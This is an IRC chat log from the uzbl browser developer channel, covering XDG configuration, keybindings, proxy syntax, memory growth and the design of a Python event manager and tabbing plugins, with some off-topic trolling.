00:05 < dirkson> Well, when I replace ~ with $HOME, the error goes away. Pressing B or u still doesn't do anything, though. Hmm.
00:05 < scj> dirkson: you probably don't have the XDG environment variables set up, and most of the provided scripts rely on them
00:06 < dirkson> scj: Well, no. I manually set the XDG_DATA_HOME in my bashrc. Are there more it wants?
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00:06 < holizz> dirkson: And XDG_* is set in X too?
00:07 < dirkson> holizz: Just XDG_DATA_HOME . I don't know what else it wants. (I don't even know what XDG /IS/, for that matter.)
00:08 < holizz> dirkson: XDG_* is a standardised placement of config/cache/data dirs, so that ~
00:09 < holizz> (did you get the whole message? this client is really bad)
00:09 < dirkson> No, I didn't.
00:09 < holizz> ... so that ~ doesn't get too cluttered.
00:09 < holizz> Or something.
00:09 < dirkson> holizz: Do you happen to know what packages XDG needs to work?
00:10 < holizz> Also, having all your config dotfiles in one place would make it easier to
00:10 < dirkson> holizz: Or is it just built into your guys' archlinux? (Trying to get set up on debian, myself)
00:10 < holizz> backup.
00:10 < holizz> dirkson: It doesn't need any, it's a specification,  although there are libs.
00:10 < dirkson> holizz: Ok, so it's built into archlinux and not debian, aye?
00:11 < scj> yeah
00:11 < scj> appears so
00:12 < holizz> Ah yeah, Arch Linux sets XDG_* by default.
00:12 < holizz> FC doesn't seeem to have XDG either.
00:13 < dirkson> Annoying.
00:15 < boxxar> I thought they where just enviornment variables, so where's the problem?
00:15 < holizz> Just stick it in your shell rc and your X rc, and you're fine.
00:15 < dirkson> Suggestions? Anyone have a list of XDG_* variables that this thing uses?
00:15 < holizz> Amused that I'm using Google to tell me the time, as this computer's RTC is
00:15 < holizz> probably broken. Or somebody set the wrong time/date/year.
00:16 < boxxar> dirkson: http://privatepaste.com/3cn0SA2qTR
00:16 < holizz> Yeah, we just use XDG_CONFIG_HOME to find the config file.
00:16 < dirkson> Well, yes. But what exactly do I need to export to get these scripts to work? I've already exported XDG_CONFIG_HOME
00:16 < holizz> But scripts use XDG_DATA_HOME and XDG_CACHE_HOME too.
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00:21 < dirkson> Ok. That's got most things working
00:22 < dirkson> The bookmark script requires 'zenity'
00:23 < dirkson> And 'socat'
00:23 < xelados> holizz: openntpd
00:23 < xelados> :D
00:24 < holizz> xelados: I'm on a computer in a cafe.
00:24 < xelados> o_O?
00:24 < xelados> Why not at home?
00:24 < holizz> I tried sudo. No such luck.
00:25 < holizz> xelados: sometimes I like to go out. They're playing nice music too.
00:25 < xelados> heh
00:26 < holizz> http://www.inspiralled.net/index.php?option=com_content&task=view&id=406&Itemid
00:26 < holizz> Possibly got cut off...
00:26 < dirkson> Ok. Now it works vaguely OK. Now once I get tabs up, I'll actually have a browser.
00:26 < holizz> http://bit.ly/AtSpb
00:26 < holizz> dirkson: examples/data/uzbl/scripts/uzbl_tabbed.py
00:27 < dirkson> holizz: Shucks, it's included? Fantastic.
00:27 < Dieterbe> N30N: you awake?
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00:27 < holizz> Oh yeah, batteries included. You just have to put them in manually.
00:28 < holizz> Kind of like Python.
00:29 < holizz> I think I might improve this IRC client. Make it usable. Then the next time I'm
00:29 < N30N> Dieterbe: yawn, yo sup?
00:29 < holizz> at a cafe, I can not be crashed-on whenever I press the down button, or send a
00:30 < holizz> message where I've backspaced over a non-ASCII character.
00:30 < scj> holizz: why not just use a non-buggy client?
00:30 < dirkson> Srsly
00:30 < Dieterbe> N30N: do you know how to make a client focus in wmii? can i write something to /client/<id>/ctl or something?
00:30 < holizz> scj: I couldn't find any. This doesn't even have gcc. So I'm limited to scripti
00:31 < holizz> ng languages.
00:34 < holizz> http://file.status.net/identica/holizz-20090912T223343-pa5fz7d.png
00:34 < holizz> Note that that's Dec 3 ... 2004.
00:35 < holizz> Firefox complains that every SSL cert is out-of-date because they haven't been
00:35 < holizz> created yet.
00:35 < holizz> FF FTL
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00:37 < github> uzbl: Robert Manea experimental SHA1-94cd384
00:37 < github> added view_source variable, only workable with webkit >=1.1.14
00:37 < github> http://bit.ly/GiF45
00:37 < github> uzbl: Robert Manea experimental SHA1-7421dc0
00:38 < github> Merge branch 'event-messages' of git://github.com/mason-larobina/uzbl into event-messages
00:38 < github> http://bit.ly/pX2tT
00:38 < github> uzbl: Robert Manea experimental SHA1-96f9f88
00:38 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into experimental
00:38 < github> http://bit.ly/12ISqI
00:38 < github> uzbl: Robert Manea experimental SHA1-d0330cb
00:38 < github> added ability to buffer events until a client attached to the socket
00:38 < github> http://bit.ly/nigDj
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00:38 < rob|> mason-l, Dieter: ^^
00:38 < Dieterbe> heh
00:38 < Dieterbe> talk about latenight hacking
00:38 < rob|> best time for it ;)
00:38 < Dieterbe> so you did give in and compiled the new webkit yourself? :P
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00:39 < Dieterbe> Andy (the maintainer of libwebkit on Arch) is on holiday until the 20st btw
00:39 < rob|> no, i just commented that stuff until .14 is more common
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00:40 < Dieterbe> anyway i'm tired
00:40 < Dieterbe> goodnight and stuff
00:40 < holizz> Night, diet.
00:43 < rob|> night dieter
00:44 < rob|> oh, the timeout to clear the event buffer is hardcoded, i think an uzbl var for this would be overkill...
00:45 < rob|> *hardcoded to 10 seconds
00:45 < N30N> Dieterbe: oh yeah you can do: wmiir xwrite /tag/sel/ctl "select client id"
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00:52 < rob|> mason-l: just gave the EM a try with the fix and it works beatufully in socket mode (including bindings set via uzbl)
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00:53 < rob|> mason-l: also fast typing doesn't seem to have any impact
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00:55 < dirkson> I frequently wish to edit the current URL. Is there a keybinding to allow me to do that?
00:56 < rob|> yes, see the 'O' binding in the default config
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00:58 < rob|> hmm, seems it isn't there:  bind O = sh 'echo "keycmd o $6" > $4'
00:59 < dirkson> rob|: Thanks : )
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01:00 < rob|> sure thing
01:00 < dirkson> rob|: That appears to add an extraneous http:// in front of whatever I edit
01:01 < dirkson> So I end up with http://http:// , which fails
01:01 < rob|> oh, odd.
01:03 < rob|> that used to work, though
01:03 < rob|> did you change the 'o' binfing?
01:03 < rob|> *binding
01:04 < rob|> hmm, nvm that's certainly not the reason
01:04 < dirkson> Nope
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01:13 < dirkson> Oh! Wait, I did. Fixed it.
01:13 < holizz> See you later! I'm going home!
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01:33 < dirkson> Hmm... Anyone know if uzbl_tabbed has an "undo last closed tab" function?
01:42 < scj> probably, otherwise it ought to be real simple to implement
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02:49 < Hyperion2010> dirkson: just write a script to retrieve the last url in the history list and open it
02:54 < dirkson> Hmm
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02:56 < scj> that isn't necessarily the last deleted tab. you should probabaly maintain a separate stack of closed urls you can pop and push to
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03:14 < Hyperion2010> scj: ah ya heh forgot about that
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05:54 < lrvick> Can I just say that uzbl makes me very happy. It is the answer to 90% of my lifes problems
05:54 < lrvick> ^_^
05:54 < uriel> you must have a really sad life then..
05:54 < lrvick> he he
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05:55 < lrvick> Actually a fairly happy life atm, and most of my furstrations were related to firefox
05:55 < lrvick> uzbl solved most of them
05:55 < lrvick> :-)
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05:56 < lrvick> In any event. There is one and only one must-have feature lacking. Konqueror/vimperator style hyperlinks following. Has any work/thoughts/plugins been done to this end yet?
05:57 < uriel> firefox can indeed drive one postal...
05:58 < lrvick> after watching it crash and take all my tabs with it again, i rememberd an article in linux mag about uzbl and said "screw this"
05:58 < lrvick> an hour later, here i am a very happy camper
06:00 < lrvick> i get the process isolation and damage control of chrome, the 100% acid3 rendering of webkit, the control of vim, and the ability to easily script in support for things like aria2 without having to do massive xpi hacking just to get a simple command execution hook.
06:00  * lrvick dances
06:03 < lrvick> a hook that lets me save passwords so I can write a gnupg wrapper, and vimperator like hyperlink following, and a wife... and my life is complete
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09:24 < rob|> morning.
09:25 < uriel> good morning
09:26 < uriel> does uzbl implement proper text editing key bindings for form fields?
09:26 < uriel> (I mean proper unix text editing bindings, obviously)
09:27 < rob|> not, yet though this is definitly possible
09:28 < rob|> s/,//
09:28 < rob|> i suppose you're talking about things like ctrl+w, etc.
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09:31 < uriel> yes
09:32 < uriel> even wrote an extension for chrome to fix this, because it was driving me nuts: http://repo.cat-v.org/burning_chrome/hosaka/
09:34 < rob|> ah, i see. as of now the easiest method would be to write a small java script that emits an INPUTBOX_FOCUSED (or something along that way) custom signal
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09:34 < uriel> er, I think that if I wanted to waste my life configuring shit, I would just stick with chrome
09:35 < lrvick> rob|: has there been any progress/thoughts towards vimperator/konqueror style link following?
09:36 < uriel> (wasting their lives configuring shit seems to be the only goal in life most suckless, uzbl and other 31337 lunix tools lusers have)
09:36 < rob|> lrvick: are you talking about "tag" based link following?
09:36 < rob|> if so, we already have that
09:37 < lrvick> rob|: yes. currently it is the one and only thing i miss from vimperator.
09:37 < lrvick> oh?!
09:37 < lrvick> how do i bind it?
09:38 < rob|> see the default config file, specifically the 'f*' bindings and the linkfollow example scripts
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09:39 < lrvick> i was not even aware tehre was a default config file. I grabbed git and wrote in the basics based on the readme.
09:39  * lrvick ferrits
09:39 < rob|> lrvick: here is a screenshot http://www.uzbl.org/wiki/_media/rob_uzbl001.png of what i'm talking about
09:39 < rob|> note the yellow, numbered boxed on the left hand site window
09:39 < rob|> *boxes
09:41 < lrvick> Ok, that sounds perfect. one morem obscure request... can i make textareas/input boxes _not_ respect my gtk theme?
09:42 < lrvick> because it ends up being black text on black background text boxes :-(
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09:43 < rob|> i guess this would be possible with a custom CSS
09:44 < lrvick> i guess i didn't realize textboxes were themed by gtk. firefox had a magic box that i could uncheck that made them look "standardized" perhaps i could pull off similar by injecting html?
09:45 < rob|> lrvick: http://www.uzbl.org/wiki/dark_input
09:45 < uriel> rob|: so, does ed(1) have a config file?
09:46 < lrvick> rob|: haw! perfect
09:46 < lrvick> ok i just went from 90% happy to 100%
09:46 < lrvick> this is the browser i always had wet dreams about and woke up thinking it was not real.
09:46  * lrvick dances
09:46 < rob|> uriel: no, i never was a fan of reading in a default config file, though many other seemed to want it for convenience reasons
09:47 < uriel> no, my point is why there are config files at all
09:47 < uriel> certainly any program with defaults that need to be changed is broken
09:48  * lrvick nods
09:48 < rob|> with the event manager (our approach to plumbing) a set of sane, hardcoded defaults will easily be possible
09:49 < lrvick> an approach like that sounds sane
09:49 < lrvick> i mean even s straight up vim binary has some understood defaults.
09:49 < uriel> rob|: that is nice
09:50 < lrvick> i for insert and all that
09:50 < uriel> lrvick: please, don't even mention vim in my presence, thank you
09:50 < lrvick> uriel: emacs guy? lol
09:50 < uriel> emacs at least has a certain degree of conceptual integrity, it is a pile of turds, but at least it is a pile with a short of piramidal shape to it
09:51 < uriel> (a *huge* pile of turds, obviously)
09:51 < uriel> in short, I would rather die than use emacs, but I have more respect for emacs than for vim, that is certain
09:52 < lrvick> hehe. I am stuck working on lots of embedded systems so having to be very fluent in vi* is a bit of an unavoidable requirement for me.
09:52 < lrvick> uriel: your editor of choice then?
09:52 < lrvick> joe?
09:52 < lrvick> heh
09:53 < uriel> er, I stopped using Ion before it could damage my brain that much..
09:53 < uriel> lrvick: http://acme.cat-v.org
09:53 < opqdonut> yeah, vim is awful
09:54 < opqdonut> personally, i prefer the vi command set, but find the consistency and extensions of emacs superior
09:54 < opqdonut> + i prefer non-modal
09:55 < uriel> modal systems are just plain horrible, but emacs is full of fucking 'modes'
09:55 < lrvick> crap its almost 4 am
09:56 < lrvick> i should attempt to try this whole "sleeping" concept again.
09:56 < uriel> 10am here
09:59 < opqdonut> 11am
09:59 < rob|> broken RTC here...
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10:04 < rob|> mason-l: you around?
10:05 < Dieterbe> morning ladies
10:06 < rob|> hey dieter
10:12 < Dieterbe> N30N: http://sprunge.us/MeRH doesn't work :(
10:13 < Dieterbe> using wmii 3.6-1
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10:59 < rob|> mason-l: i guess there is an issue with the default behaviour of the keycmd plugin. i.e. things like this don't seem to work: event bind '<Alt><Insert> = set keycmd = @keycmd @(xclip -selection clipboard -o)@'
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11:13 < Dieterbe> hmm interesting read http://primates.ximian.com/~miguel/bongo-bong.html
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11:31 < N30N> Dieterbe: use should use wmii-hg. 3.6 is old as hell (they don't release version nummbers anymore)
11:31 < uriel> Dieterbe: nothing miguel writes is interesting
11:31 < uriel> Dieterbe: it is more likely to seriously damage your brain
11:32 < uriel> Dieterbe: that article is SPECIALLY retarded
11:32 < uriel> and shows how gnu and gnome never understood shit
11:32 < uriel> not about unix certainly
11:32 < uriel> and that is the article that created the whole Bonobo/CORBA insanity
11:33 < uriel> compared to that sea of liquid fermented feces even C# could seem sane
11:33 < uriel> tl;dr Miguel is a moron, ignore all he says
11:34 < Hyperion2010> unfortunately everyone cant use the classic linux user toolchain to bootstrap themselves an os (tab+find+grep+man+vim+links)
11:35 < uriel> tab? vim? links? wtf are you talking about?
11:36 < Hyperion2010> haha
11:36 < Hyperion2010> everything you need to edit your text files
11:37 < uriel> cat(1) and ed(1)
11:37 < Hyperion2010> rofl
11:37 < Hyperion2010> that was the classic unix toolchain
11:38 < uriel> that *IS* the Unix toolchain
11:39 < Hyperion2010> hahaha
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11:42 < Dieterbe> N30N: hmm 2 years old :P didn't realize
11:50 < Dieterbe> whoa wmii has multiscreen support now? <3
11:51 < uriel> wmii is still shit
11:51 < uriel> but so is still every wm out there
11:51 < uriel> and X multi screen suchs
11:51 < uriel> (one thing i agree 100% with tuomov)
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11:55 < Dieterbe> hmm my wmiirc is not compatible anymore it seems
11:57 < N30N> Dieterbe: hence the directory change ;)
11:57 < Dieterbe> ah yes.. merging my old stuff into new one now..
12:00 < uriel> people that spend time configuring their wm should get a life
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12:05 < Dieterbe> N30N: what's up with the 1px wide bar on the left of my screen and the tiny triangle in the upper left corner?
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12:28 < Dieterbe> N30N__: what's up with wimenu? you don't see the currently selected item, and any idea why the wimenu's are hardcoded?
12:28 < Dieterbe> eg:
12:28 < Dieterbe>         Key $MODKEY-p                                                           
12:28 < Dieterbe>                 eval wmiir setsid "$(wimenu -h "${hist}.progs" -n $histnum <$progsfile)" &
12:28 < Dieterbe> why doesn't this use $WIMENU ?
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12:49 < uriel> offtopic request: anyone that uses bittorrent, please add this tracker to your torrents, I need more stress testing: http://bittrk.appspot.com/
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12:52 < sp0_of> does not uzbl supports HTML5?
12:53 < Dieterbe> N30N__: http://www.uzbl.org/wiki/wmii :)
12:54 < holizz> sp0_of, Of course.
12:55 < uriel> sp0_of: uzbl doesn't support anything
12:55 < uriel> it just uses teh webkit pile of crap
12:55 < holizz> uriel, uzbl supports everything.
12:55 < sp0_of> :)
12:56 < romain> uzbl has a big memory leak.
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12:57 < Dieterbe> romain: patch welcome ;)
12:57 < romain> easy to say that :)
12:59 < Dieterbe> but you know where we leak?
12:59 < romain> no idea, but an opened uzbl with the same page will take more and more memory
12:59 < romain> for example, a uzbl instance opened yesterday now takes 206Mo
12:59 < romain> MB
13:01 < sp0_of> webkit supports html5, but video on thevideobay.com doesn't work ^(
13:02 < uriel> romain: that is because webkit is shit
13:02 < uriel> and when I say we need a saner web rendering engine people just makes fun of me
13:03 < romain> title_format_* configuration parameters don't exist anymore?
13:03 < uriel> well, as long as you use webkit, you are going to suck ass
13:03 < Dieterbe> hey uriel what are you doing in this channel, actually?
13:03 < holizz> uriel, Is there any software you do like?
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13:03 < github> uzbl: Dieter Plaetinck experimental SHA1-1ea0974
13:03 < github> sample wmii integration script
13:03 < github> http://bit.ly/Paq07
13:03 < github> uzbl: Dieter Plaetinck experimental SHA1-cbd6415
13:03 < github> Merge branch 'experimental' of github.com:Dieterbe/uzbl into experimental
13:03 < github> http://bit.ly/JElWR
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13:04 < uriel> Dieterbe: do you really have to ask?
13:05 < uriel> Dieterbe: trolling, obviously
13:05 < Dieterbe> ah, i thought there was something more specific
13:05 < uriel> holizz: I like some software... I like unix...
13:05 < uriel> Dieterbe: more specific than trolling? uhu
13:06 < mason-l> Dieterbe, Hey mate.
13:06 < uriel> holizz: other than unix, I pointed an example of software I like already: http://acme.cat-v.org
13:07 < holizz> Acme? You're one of _those_ people then?
13:07 < holizz> gb2 1969
13:07 < Dieterbe> mason-l: yo
13:07 < uriel> holizz: what people?
13:07 < mason-l> Dieterbe, rob|'s patch works perfectly :D
13:07 < mason-l> rob|, Thanks buddy <3
13:07 < uriel> holizz: people with good taste you mean?
13:08 < mason-l> uriel, Elaine Paige v.s. Sarah Brightman?
13:09 < uriel> mason-l: ?
13:09 < Dieterbe> holizz: don't feed the uriel ;)
13:09 < mason-l> uriel, Who do you like better.
13:09 < uriel> never heard of either
13:09 < holizz> Who are those people?
13:09 < uriel> anyway, sleep time for me
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13:11 < mason-l> holizz, Elaine Paige http://www.youtube.com/watch?v=s96NZoeDs68 Sarah Brightman: http://www.youtube.com/watch?v=VMpLgglNxe4 (lol)
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13:12 < mason-l> Whoops wrong link: http://www.youtube.com/watch?v=1wwilCs4Jqg
13:12 < holizz> I take it these people have something to do with Unix or Web browsers?
13:13 < mason-l> holizz, Nothing whatsoever.
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13:16 < holizz> I'm gonna say the second for the sci-fi theme.
13:17 < mason-l> :D
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13:28 < N30N__> Dieterbe: "wmi is not emwh compatible" <-- ermm yeah "wmii" is, did you try after updating?
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13:29 < Dieterbe> N30N__: huh? wmii has become ewmh compatible after 3.6 ?
13:30 < N30N__> yup (but I think there are a few things that don't work)
13:31 < Dieterbe> oh cool
13:35 < Dieterbe> N30N__: anyway my biggest problem is when opening new uzbl instances, i don't want them to appear focused
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13:42 < N30N__> Dieterbe: I currently use this (basicly what I gave you before but with out sleep) http://pastebin.com/m31f59580
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13:51 < github> uzbl: Dieter Plaetinck experimental SHA1-6b74aab
13:51 < github> support focusing next/prev window
13:51 < github> http://bit.ly/Y9AAa
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13:57 < github> uzbl: Dieter Plaetinck experimental SHA1-1048a49
13:57 < github> comment update
13:57 < github> http://bit.ly/11e9Hu
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14:01 < Hyperion2010> does uzbl store images that it loads somewhere so that a downloads script could just get them from that location?
14:01 < Dieterbe> no(t yet)
14:02 < Hyperion2010> :)
14:02 < holizz> It stores favicons. As long as the image you want is a favicon, you're fine.
14:02 < Hyperion2010> hehe
14:03 < mason-l> holizz, What a coincidence!
14:03 < Hyperion2010> it doesnt display favicons
14:03 < Hyperion2010> :p
14:03 < Hyperion2010> silly thing
14:03 < holizz> Hyperion2010, Then you're not using the favicon.py script!
14:03 < Hyperion2010> this is true
14:03 < Hyperion2010> :D
14:05 < Dieterbe> N30N__: how does that snippet work exactly?
14:06 < Dieterbe> N30N__: i mean what does the sed do
14:07 < N30N__> Dieterbe: it add's "wmiir xwrite /tag/sel/ctl 'select up'" after shell_cmd has been set and adds the uri the the end of the file
14:08 < mason-l> Dieterbe, Do you know if rob| is going to be online tonight?
14:08 < Dieterbe> mason-l: no, i hope so ;)
14:10 < mason-l> Did he mention anything about problems buffering custom events?
14:10 < Dieterbe> don't thisk no
14:11 < Dieterbe> N30N__: and why so specifically after the 'set shell_cmd' ? why not just at the beginning at the config?
14:13 < N30N__> Dieterbe: you cant use the sh command till shell_cmd is set
14:14 < Dieterbe> ah of course
14:14 < Dieterbe> and what about the 'uri ${8}' ? where does $8 come from? how do you trigger this script?
14:16 < N30N__> Dieterbe: I pass it for other scripts but the new_window setting/handler thiny passes the uri as $8 innit?
14:18 < N30N__> s/for/from/
14:18 < mason-l> Dieterbe, I've isolated the problem a bit. Whats happening is the command "event BIND ZZ = exit" comes out as "EVENT BIND ZZ" unless you put "'s around the event argument like: event BIND "ZZ = exit"
14:18 < Dieterbe> hmm new_window_handler wasn't that deprecated? i can't find a sample script for it
14:19 < mason-l> Dieterbe, So that might give _you_ an idea where I should focus my attention :)
14:19 < Dieterbe> mason-l: somewhere in the command parsing code, i guess? :P
14:20 < N30N__> Dieterbe: oh was it? I'm still useing a old copy of uzbl ;)
14:21 < Dieterbe> N30N__: so you use that script directly as new_window_handler? or do you have a new_window handler who calls this script
14:21 < Dieterbe> i guess the former..
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14:22 < N30N__> Dieterbe: yeh I call it from a hints script
14:23 < Dieterbe> N30N__: well it's not perfect, but at least it's more solid then the earlier one. now you don't need a sleep but at least the focus is undone asap
14:24 < Dieterbe> wmii should have a clean way to start programs unfocused, though. i'll send a mail to suckless
14:32 < opqdonut> it's apparently quite hard to correlate execing a program with new x clients popping up
14:36 < Dieterbe> i guess
14:47 < ruskie> 439444 437328 447884 <-- and it just keeps growing and growing and growing three uzbl instances that I did nothing in for over 24 hours they are just open to some pages I've been reading here and there... yesterady it was 30000 something for each on start it was 20000 something
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14:55 < Dieterbe> mason-l: i don't get it.. the example config still has 'bind' statements, and uzbl-core still has the bind command
14:56 < mason-l> Dieterbe, Thats on the to-do list for demolition.
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14:56 < farhaven> hi there
14:57 < mason-l> If I get involved in that it would be like a bull in a china shop, best leave it to the authors to remove the depreciated code.
14:57 < farhaven> i'm having a bit of trouble using uzbl with privoxy
14:57 < farhaven> what is the correct syntax for the proxy_url option?
14:58 < farhaven> proxy_url = 'http://127.0.0.1:8118/' doesn't seem to work
14:58 < ruskie> tried? proxy:port
14:58 < Dieterbe> mason-l: lol @ bull in china shop. you meant 'porcelain store' or something? :P
14:58 < N30N__> farhaven: remove the ''s
14:58 < ruskie> to bad it doesn't have an option to send a non-resolved domain to it
14:58 < farhaven> k
14:58 < farhaven> N30N__: thx :)
14:59 < mason-l> Dieterbe, Maybe I did maybe I didn't.
14:59 < mason-l> ;)
14:59 < Dieterbe> mason-l: anyway, i was assuming i could at any given point just do 'make test-dev-browser' and see how things are supposed to work
15:00 < mason-l> Dieterbe, For the mean-time I've commented out all the binds in my uzbl config.
15:01 < mason-l> Dieterbe, It is usable right now. Add: event BIND "ZZ = exit"  to your config and run ./uzbl-browser  (make sure uzbl-browser is using the correct uzbl-core!)
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15:02 < Sertse> hi
15:02 < Dieterbe> mason-l: you should give the makefile a good look. targets such as test-dev-browser are quite useful
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15:03 < Dieterbe> mason-l: so did rob and you agree on the 'event BIND' thing? is this more or less definitive?
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15:03 < mason-l> Dieterbe, As far as I know he likes it as well.
15:03 < Dieterbe> k
15:03 < ertai> Hi all, I cannot access my page ( http://nicolaspouillard.fr ) using uzbl, is it only me ?
15:04 < Dieterbe> Megant_: then i'll just update the sample config
15:04 < Dieterbe> mason-l: ^^
15:04 < Dieterbe> ertai: works fine for me
15:04 < ruskie> works fine
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15:05 < mason-l> Dieterbe, I never knew about those targets :D
15:05 < ertai> Dieterbe, ruskie: thanks, I get a "Cannot connect to destination"
15:05 < Dieterbe> mason-l: i use them all the time and (falsely) assumed everyone did
15:05 < ertai> and it works great with firefox
15:05 < mason-l> Dieterbe, install, remove & clean are the only targets I've ever used.
15:05 < Dieterbe> mason-l: theyare useful because you can pick where it should take it's configs/data from (local copy, /usr/share/ or "real" $XDG locations)
15:06 < ruskie> ertai, usinc any proxy? or something?
15:06 < Dieterbe> ertai: do wget http://nicolaspouillard.fr and see if that works
15:06 < ertai> ruskie: no proxy
15:06 < ertai> it works with curl
15:07 < ertai> and wget
15:07 < Dieterbe> ertai: does this work: uzbl -c - http://nicolaspouillard.fr
15:08 < ertai> Is there some kind of debugging flag I can turn on ?
15:08 < Dieterbe> if it does, there is something up with your config
15:08 < Dieterbe> yes, set http_debug = 3 in your config (see sample config(
15:08 < ertai> Dieterbe: thx
15:08  * Dieterbe food
15:11 < mason-l> Dieterbe, But beware with the binds in the config, all the event command arguments need to be in quotes (like I mentioned above).
15:11 < mason-l> Hopefully this problem can be resolved when someone who knows a thing or two about the command parsing comes along :)
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15:59 < soulcatcher> mason-l you around?
15:59 < mason-l> soulcatcher, Yeah
15:59 < soulcatcher> this is devon, just curious if you got a chance to look at the redux of that patch
16:01 < mason-l> I did but without a real plugin system (see: event_manager.py) I don't see how any changes like these benefit anything.
16:02 < soulcatcher> so I want to do some pretty serious changes to how tabs work for a very specific application
16:02 < soulcatcher> but I don't want to have to reimplement the whole of usbl_tabbed.py
16:02 < mason-l> Being that the changes make the code: (1) slower and (2) modifications need to be made in 2 places to add a fifo function.
16:02 < soulcatcher> if that's in place, then I can extend the class, and inject new commands as needed for my app
16:03 < mason-l> soulcatcher, And you are welcomed and encouraged to do so
16:03 < soulcatcher> it's a lot more difficult to add new commands as needed on a class extending it when it's just a big case statement
16:05 < mason-l> 100% agreed, but I think a different approach is required to resolve that issue (in the "officially supported" version).
16:05 < soulcatcher> ok, what did you have in mind
16:06 < mason-l> uzbl_tabbed.py wasn't created with that kind of extendability in mind.
16:06 < mason-l> And when I say created I mean hacked upon -- upon.
16:06 < soulcatcher> but it effectivly gets that kind of extensibility with this kind of patch
16:07 < soulcatcher> now on concern #2, you mean creating the function, and injecting it into the command hash?
16:08 < soulcatcher> or are you concerned about injecting it into the hash, and having to later call bind?
16:09 < mason-l> soulcatcher, I mean people manually adding their own fifo functions. Very simply. Just by editing the file (not importing uzbl_tabbed.py as a library and injecting functions into the stack).
16:12 < soulcatcher> Yeah, I'm trying to avoid having to maintain a long running branch.  If I want to add commands that don't really make sense for the simple case of tabbing that effectivly means having to continue to patch that branch on into the future
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16:13 < mason-l> soulcatcher, And thats always awkward which is my main reason for using a plugin approach for the event_manager because I know how much people like to hack on their own functions / change behaviors without having to manually patch file x on every update.
16:13 < mason-l> (and then find out the syntax has changed :P)
16:14 < soulcatcher> correct me if I'm wrong, but the plugin system is in uzbl, not in uzbl_tabbed
16:14 < soulcatcher> and the special case app I'm looking to build is nearly all about tabs
16:14 < soulcatcher> so the plugin system for uzbl doesn't really help me
16:15 < soulcatcher> unless you guys are looking to reimplement tabs in that
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16:17 < mason-l> soulcatcher, You are quite correct (for now!). I'm envisioning having uzbl_tabbed.py inherit the main (not yet pushed) multiple-instance event-manager class (then extending it with tabbing support essentially pushing out the main uzbl tabbed class).
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16:17 < soulcatcher> so basically the upshot is that you are saying wait
16:18 < mason-l> And that means that both the event manager and uzbl tabbed load all the same plugins (then the plugin itself checks the capabilities of the event manager and adds the hooks as necessary).
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16:19 < mason-l> I mean it might even be possible to make uzbl_tabbed.py an event manager plugin!
16:20 < soulcatcher> so my 2c, I really like that each tab with uzbl is it's own process
16:20 < mason-l> soulcatcher, And that will never change.
16:20 < soulcatcher> it allows me to kill misbehaving tabs very easily since they all have their own pid
16:21 < soulcatcher> ok, perhaps I need to go read the code for the event manager
16:21 < mason-l> soulcatcher, Some of it is relevant to your interests.
16:21 < soulcatcher> I presumed that as soon as the tabbing was an event manager plugin, it would almost inherantly imply that it was all now in the same process
16:21 < mason-l> soulcatcher, Same process of the event manager not the uzbl instances.
16:22 < soulcatcher> oh, the event manager is it's own program?
16:22 < soulcatcher> interesting
16:22 < mason-l> Maybe a system of 1 event manager (with tabbing support) per window group is the way to go.
16:22 < mason-l> soulcatcher, Yeah, and its Python!
16:22 < soulcatcher> where's the code for the event manager?
16:23 < mason-l> soulcatcher, Its been pulled into Dieterbe's main experimental branch
16:23 < mason-l> But beware!
16:23 < mason-l> There are some serious changes in that branch.
16:23 < soulcatcher> ok, where is it in the tree?
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16:24 < mason-l> examples/data/uzbl/scripts/event_manager.py & examples/data/uzbl/scripts/plugins/
16:25 < soulcatcher> ok, yeah, this sounds like entirely not what I was expecting.  I was presuming that an event system was being added to uzbl itself
16:25 < mason-l> soulcatcher, Keep in mind this is only a week old and not finished yet (although it semi-works with the configuration).
16:25 < mason-l> soulcatcher, Nope :)
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16:29 < soulcatcher> so how does one use this?  do you launch uzbl with it? or launch it after the fact?
16:30 < mason-l> soulcatcher, There is a launcher script: uzbl-browser
16:30 < soulcatcher> ok
16:30 < mason-l> But if you plan on testing it without actually installing the branch you need to modify this to the correct uzbl-core and event_manager locations.
16:30 < mason-l> and plugin dir location.
16:30 < soulcatcher> I'll take a look, if we can implement a tabbed pane with this, and usurp the bulk of uzbl_tabbed, it probably will solve my issue
16:32 < mason-l> soulcatcher, Also the bind syntax has changed.
16:33 < mason-l> To bind you need to use the following in your uzbl config: event BIND "<Ctrl>q = exit"  or: event BIND "gh = uri http://uzbl.org/"
16:35 < soulcatcher> ok, cool - I'll test it out.  Gotta get a build environment working here at home first tho :P
16:35 < mason-l> soulcatcher, And have a look at the plugins to give you an idea of what I'm talking about when I say "add hooks"
16:36 < soulcatcher> now, this system can't catch events for the browser that uzbl itself doesn't catch, right?
16:37 < soulcatcher> like say mousewheel up or somesuch
16:37 < mason-l> soulcatcher, Thats why we've added the ability to raise custom events.
16:38 < mason-l> Although raising a custom event on mousewheel up is slightly harder than the rest.
16:38 < soulcatcher> has anyone tried using this system to catch middleclick?
16:38 < mason-l> It would be very easy.
16:38 < soulcatcher> it would be nice to have a universal solution instead of the javascript one for opening a new window
16:39 < soulcatcher> cool
16:39 < mason-l> Just have a look at the middleclick.js code and modify the section where it says: window.open(uri) (or something) and have it instead print the string "
16:40 < mason-l> the string "EVENT MIDDLE_CLICKED_LINK [@instance_num] <uri here>"
16:41 < soulcatcher> so is there a solution that can be achieved without using javascript
16:41 < soulcatcher> the issue there is if the page has fiddled with mous events, the js solution doesn't always work
16:41 < mason-l> soulcatcher, Yeah! Modify the C code (seriously though, javascript is the only way to catch and raise events like that).
16:42 < mason-l> Because all non-custom events are hard coded in the C
16:42 < soulcatcher> ok, that's what I figured
16:43 < soulcatcher> it would be nice if the C code was exposing the mouse events
16:43 < mason-l> soulcatcher, Theres no reason why we cant eventually.
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16:48 < soulcatcher> mason-l ok, reading event_manager.py it can only hold onto one socket.  Thinking about how to implement tabs via the event manager, were you thinking about running one event manager per uzbl, and then having a higher level event_manager_group.py that could hold them all, or instead adding support for multiple sockets to event_manager?
16:49 < soulcatcher> oh, wait, never mind, the socket is on the UzblInstance class
16:50 < mason-l> soulcatcher, The second. Make a server class which holds a list of the UzblInstances :)
16:50 < soulcatcher> ok, and then that would be able to have a gtk window that it can stuff them into as needed
16:51 < mason-l> soulcatcher, Yeah easily, when the uzbl client connects have it send the gtk plug id with a "started in plug mode" event.
16:52 < mason-l> Then have the the tabbing plugin connect that instance to the gtk notebook.
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16:56 < soulcatcher> so I notice that the plugins are all executed as a part of the event_manager.py process.  any thoughts on how it would be reasonable to keep the bulk of the plugin's code in a seperate pid?
